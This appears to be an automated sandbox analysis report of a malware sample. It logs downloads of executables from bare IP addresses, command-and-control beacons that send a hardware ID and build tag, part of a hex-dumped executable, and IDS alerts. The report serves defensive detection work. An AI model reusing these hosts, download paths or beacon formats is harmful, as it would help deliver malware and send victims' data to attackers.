00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 20:09:56 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Mon, 09 Dec 2024 20:04:27 GMTConnection: keep-aliveETag: "67574d4b-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 78 6e 61 6a 67 6f 6d 00 40 2a 00 00 a0 00 00 00 3e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 79 75 71 71 79 66 00 20 00 00 00 e0 2a 00 00 06 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013509001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013510001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013511001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013512001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"stok------KEGCBFCBFBKFHIECAFCF--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013513001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013514001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"stok------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 80.82.65.70 80.82.65.70
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49859 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49873 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49874 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49879 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49884 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49891 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49899 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49898 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49905 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49923 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49924 -> 172.67.139.78:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49943 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49951 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49960 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49973 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49969 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49979 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49945 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49994 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50000 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50013 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50041 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50050 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50079 -> 104.21.48.1:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F4E0C0 recv,recv,recv,recv, 0_2_00F4E0C0
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
